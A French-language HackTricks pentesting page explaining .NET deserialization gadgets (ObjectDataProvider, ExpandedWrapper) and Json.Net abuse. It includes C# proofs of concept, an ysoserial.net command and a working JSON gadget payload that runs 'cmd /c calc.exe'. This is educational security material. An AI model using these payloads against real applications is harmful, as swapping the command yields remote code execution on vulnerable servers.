hacktricks/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md
2023-06-03 13:10:46 +00:00

12 KiB

Basic .Net désérialisation (gadget ObjectDataProvider, ExpandedWrapper et Json.Net)

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Ce post est dédié à comprendre comment le gadget ObjectDataProvider est exploité pour obtenir une RCE et comment les bibliothèques de sérialisation Json.Net et xmlSerializer peuvent être abusées avec ce gadget.

Gadget ObjectDataProvider

D'après la documentation : la classe ObjectDataProvider enveloppe et crée un objet que vous pouvez utiliser comme source de liaison.
Oui, c'est une explication étrange, alors voyons ce que cette classe a d'intéressant : cette classe permet de wraper un objet arbitraire, d'utiliser les MethodParameters pour définir des paramètres arbitraires, puis d'utiliser MethodName pour appeler une fonction arbitraire de l'objet arbitraire déclaré en utilisant les paramètres arbitraires.
Par conséquent, l'objet arbitraire exécutera une fonction avec des paramètres tout en étant désérialisé.

Comment est-ce possible

Le gadget ObjectDataProvider est défini et implémenté dans l'espace de noms System.Windows.Data, qui se trouve dans le PresentationFramework.dll (C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF).

En utilisant dnSpy, vous pouvez inspecter le code de la classe qui nous intéresse. Dans l'image ci-dessous, nous voyons le code de PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Nom de la méthode

Comme vous pouvez l'observer, lorsque MethodName est défini, base.Refresh() est appelé, regardons ce qu'il fait :

Ok, continuons à voir ce que fait this.BeginQuery(). BeginQuery est remplacé par ObjectDataProvider et voici ce qu'il fait :

Notez qu'à la fin du code, il appelle this.QueryWorke(null). Voyons ce que cela exécute :

Notez que ce n'est pas le code complet de la fonction QueryWorker, mais cela montre la partie intéressante : le code appelle this.InvokeMethodOnInstance(out ex); c'est la ligne où la méthode définie est invoquée.

Si vous voulez vérifier que la définition de la MethodName suffit pour qu'elle soit exécutée, vous pouvez exécuter ce code :

using System.Windows.Data;
using System.Diagnostics;

namespace ODPCustomSerialExample
{
    class Program
    {
        static void Main(string[] args)
        {
            ObjectDataProvider myODP = new ObjectDataProvider();
            myODP.ObjectType = typeof(Process);
            myODP.MethodParameters.Add("cmd.exe");
            myODP.MethodParameters.Add("/c calc.exe");
            myODP.MethodName = "Start";
        }
    }
}

Notez que vous devez ajouter en référence C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll afin de charger System.Windows.Data

ExpandedWrapper

En utilisant l'exploit précédent, il y aura des cas où l'objet sera désérialisé en tant qu'instance d' ObjectDataProvider (par exemple dans la vulnérabilité DotNetNuke, en utilisant XmlSerializer, l'objet a été désérialisé en utilisant GetType). Ensuite, il n'y aura aucune connaissance du type d'objet encapsulé dans l'instance ObjectDataProvider (Process par exemple). Vous pouvez trouver plus d'informations sur la vulnérabilité DotNetNuke ici.

Cette classe permet de spécifier les types d'objets encapsulés dans une instance donnée. Ainsi, cette classe peut être utilisée pour encapsuler un objet source (ObjectDataProvider) dans un nouveau type d'objet et fournir les propriétés dont nous avons besoin (ObjectDataProvider.MethodName et ObjectDataProvider.MethodParameters).
Ceci est très utile pour des cas comme celui présenté précédemment, car nous serons en mesure d'encapsuler ObjectDataProvider dans une instance de ExpandedWrapper et lors de la désérialisation, cette classe va créer l'objet OjectDataProvider qui va exécuter la fonction indiquée dans MethodName.

Vous pouvez vérifier ce wrapper avec le code suivant:

using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;

namespace ODPCustomSerialExample
{
    class Program
    {
        static void Main(string[] args)
        {
            ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
            myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
            myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
            myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
            myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
            myExpWrap.ProjectedProperty0.MethodName = "Start";
        }
    }
}

Json.Net

Sur la page web officielle, il est indiqué que cette bibliothèque permet de sérialiser et désérialiser n'importe quel objet .NET avec le puissant sérialiseur JSON de Json.NET. Ainsi, si nous pouvions désérialiser le gadget ObjectDataProvider, nous pourrions causer une RCE simplement en désérialisant un objet.

Exemple Json.Net

Tout d'abord, voyons un exemple de sérialisation/désérialisation d'un objet en utilisant cette bibliothèque :

using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;

namespace DeserializationTests
{
    public class Account
    {
        public string Email { get; set; }
        public bool Active { get; set; }
        public DateTime CreatedDate { get; set; }
        public IList<string> Roles { get; set; }
    }
    class Program
    {
        static void Main(string[] args)
        {
            Account account = new Account
            {
                Email = "james@example.com",
                Active = true,
                CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
                Roles = new List<string>
                {
                    "User",
                    "Admin"
                }
            };
            //Serialize the object and print it
            string json = JsonConvert.SerializeObject(account);
            Console.WriteLine(json);
            //{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}
            
            //Deserialize it
            Account desaccount = JsonConvert.DeserializeObject<Account>(json);
            Console.WriteLine(desaccount.Email);
        }
    }
}

Abus de Json.Net

En utilisant ysoserial.net, j'ai créé l'exploit :

ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
    '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
    'MethodName':'Start',
    'MethodParameters':{
        '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
        '$values':['cmd', '/c calc.exe']
    },
    'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

Dans ce code, vous pouvez tester l'exploit, il suffit de l'exécuter et vous verrez qu'une calculatrice est exécutée:

using System;
using System.Text;
using Newtonsoft.Json;

namespace DeserializationTests
{
    class Program
    {
        static void Main(string[] args)
        {
            //Declare exploit
            string userdata = @"{
                '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
                'MethodName':'Start',
                'MethodParameters':{
                            '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
                    '$values':['cmd', '/c calc.exe']
                },
                'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
            }";
            //Exploit to base64
            string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));

            //Get data from base64
            byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
            //Deserialize data
            string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
            object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
            {
                TypeNameHandling = TypeNameHandling.Auto
            });
        }
    }
}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥